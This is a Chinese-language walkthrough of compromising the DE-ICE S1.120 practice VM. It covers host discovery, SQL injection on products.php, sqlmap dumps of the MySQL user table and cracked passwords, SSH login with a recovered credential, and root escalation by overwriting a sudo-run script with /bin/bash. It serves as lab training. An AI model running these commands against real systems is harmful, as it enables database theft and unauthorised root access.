0x01 项目地址
0x02 环境搭建
靶机 | DE-ICE:S1.120 | 仅主机模式 192.168.1.120 |
攻击机 | kali | 仅主机模式 192.168.1.129 |
注:靶机IP默认为静态IP:192.168.1.120,因此kali需设置为仅主机模式,配置为相同网段
0x03 详细步骤
1.主机发现
arp-scan -l
2.端口扫描
nmap -p- 192.168.1.120
可以看到开启了21、22、80、443、3306五个端口
既然开放了80端口,那么我们访问一下web页面
3.Web访问
浏览器访问192.168.1.120
,可以看到有Home
Add Product
View Products
三个页面,Home
页面即这个首页
Add Product
页面是一个表单,可以填写产品名称、描述、价格还有提交按钮
View Products
页面可以查看产品
4.漏洞挖掘
在Add Product
页面添加一个产品
然后在View Products
页面查询一下该产品,发现url里带参数id
尝试一下SQL注入,构造payload
?id=1 and 1=1 --+
页面正常
?id=1 and 1=2 --+
页面异常
故可能存在数字型SQL注入
拿sqlmanp跑一下,验证一下
sqlmap -u "http://192.168.1.120/products.php?id=1" --batch
确认存在SQL注入
5.漏洞利用
sqlmap爆库
sqlmap -u "http://192.168.1.120/products.php?id=1" --dbs --batch
爆mysql
库中的表
sqlmap -u "http://192.168.1.120/products.php?id=1" -D mysql --tables --batch
爆user
表中的字段
sqlmap -u "http://192.168.1.120/products.php?id=1" -D mysql -T user --columns --batch
爆User
和Password
字段中的内容
sqlmap -u http://192.168.1.120/products.php?id=1 -D mysql -T user --users --passwords --batch
此外,SQLMAP还将自动执行用户密码的密码破解,最终得到一堆用户名/密码
6.SSH连接
经过一番尝试之后,用ccoffee
用户成功登陆(用本机连接kali需要配置)
ccoffee:whatever
ssh ccoffee@192.168.1.120
7.提权
尝试SUID提权
执行命令,枚举SUID权限的二进制文件
find / -perm -u=s -type f 2>/dev/null
这里找到getlogs.sh
启用了SUID,可以执行命令
到该目录下,将getlogs.sh
备份,并创建一个新的getlogs.sh
文件
cd /home/ccoffee/scripts/
mv getlogs.sh getlogs.sh.bak
echo "/bin/bash" > getlogs.sh
chmod 777 getlogs.sh
sudo执行getlogs.sh
sudo /home/ccoffee/scripts/getlogs.sh
提权成功!